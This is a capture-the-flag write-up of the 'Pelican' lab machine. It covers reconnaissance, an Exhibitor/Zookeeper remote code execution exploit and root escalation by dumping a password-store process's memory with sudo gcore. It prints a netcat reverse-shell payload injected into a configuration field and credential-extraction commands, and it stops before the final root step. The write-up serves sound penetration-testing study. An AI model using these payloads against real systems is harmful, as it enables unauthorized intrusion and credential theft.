Pelican

Introduction

This write-up details the steps taken to solve the Pelican machine from Proving Grounds Practice. The approach includes reconnaissance, enumeration, exploitation, and privilege escalation to gain root access.

Reconnaissance

Initial Nmap Scan

To begin the process, an nmap scan was conducted to identify open ports and services running on the target machine:

sudo nmap -sSCV -n -T4 -Pn -p- 192.168.157.98

PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
|   256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_  256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
631/tcp   open  ipp         CUPS 2.2
|_http-server-header: CUPS/2.2 IPP/2.1
|_http-title: Forbidden - CUPS v2.2.10
| http-methods: 
|_  Potentially risky methods: PUT
2181/tcp  open  zookeeper   Zookeeper 3.4.6-1569965 (Built on 02/20/2014)
2222/tcp  open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
|   256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_  256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
8080/tcp  open  http        Jetty 1.0
|_http-server-header: Jetty(1.0)
|_http-title: Error 404 Not Found
8081/tcp  open  http        nginx 1.14.2
|_http-title: Did not follow redirect to http://192.168.157.98:8080/exhibitor/v1/ui/index.html
|_http-server-header: nginx/1.14.2
46295/tcp open  java-rmi    Java RMI
Service Info: Host: PELICAN; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: pelican
|   NetBIOS computer name: PELICAN\x00
|   Domain name: \x00
|   FQDN: pelican
|_  System time: 2025-03-03T11:57:33-05:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h40m05s, deviation: 2h53m13s, median: 5s
| smb2-time: 
|   date: 2025-03-03T16:57:32
|_  start_date: N/A

Enumeration

Port 139/445

Guest access is enabled on Samba, but there are no accessible shares.

Port 8080

The Jetty 1.0 service on port 8080 returned a 404 Not Found error, meaning there was no default page or directory listing available.

Port 8081

Port 8081 serves an nginx 1.14.2 instance, which redirects to an Exhibitor Zookeeper UI on port 8080.

Researching online, Exhibitor has a known remote code execution (RCE) vulnerability due to improper handling of configuration parameters.

Explotation

RCE Exploit

After identifying the Exhibitor web UI, I found a public exploit for remote code execution:

📌 Exploit: Zookeeper Exhibitor RCE - Exploit-DB (48654)

Steps to Exploit

Access the Exhibitor UI and navigate to the Config tab, and Enable Editing Mode by flipping the Editing switch to ON.

In the “java.env script” field, enter any command surrounded by $() or , for example, for a simple reverse shell:

$(/bin/nc -e /bin/sh 192.168.45.234 4444 &)

Start a Netcat listener on the attacking machine:

nc -nvlp 4444

Click Commit > All At Once > OK to apply the configuration change.

The command execution may take up to a minute before the reverse shell is received.

TTY Treatment

Once I had successfully established the reverse shell, the session was not as stable or user-friendly as it could be. The shell I obtained was non-interactive, meaning it didn’t allow me to perform typical interactive tasks like tab completion, command history, or using commands like sudo properly.

To resolve this, I applied a TTY treatment to the shell, making it more stable and interactive. This was done by upgrading the shell to a fully interactive terminal using the following command:

script /dev/null -c bash
CTRL + z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 53 columns 236

After checking the contents of the charle's directory, I discovered the user flag.

Privilege Escalation

Identifying Privileged Binary - gcore

During privilege escalation enumeration, I discovered that the user charles has permission to execute the gcore binary as root.

Understanding gcore

gcore is a utility used to generate core dumps of running processes. These dumps can contain sensitive information, such as:

• Plaintext passwords

• Cryptographic keys

• Open file contents

This makes gcore a valuable tool for extracting credentials from memory.

Finding a SUID Binary - /usr/bin/password-store

Continuing enumeration, I identified a SUID binary:

This binary, when executed, likely interacts with credentials, making it an interesting target for memory dumping.

Exploiting gcore to Dump Memory

Since I can generate core dumps of root-owned processes, I decided to:

1. Execute the password-store binary.

2. Identify its process ID (PID).

3. Dump its memory using gcore.

4. Extract sensitive information from the dump.

Step 1: Execute password-store

Once running, I obtained its PID:

/usr/bin/password-store
ps aux | grep password-store

Step 2: Dump Process Memory

Using gcore, I generated a core dump of the process:

sudo /usr/bin/gcore 490

This produced a binary dump file, core.490

Step 3: Extracting Credentials

Using strings, I searched the core dump file for readable text, specifically looking for passwords:

strings core.490

After filtering the output, I discovered the root password:

With the root password extracted, I elevated privileges by switching to the root user: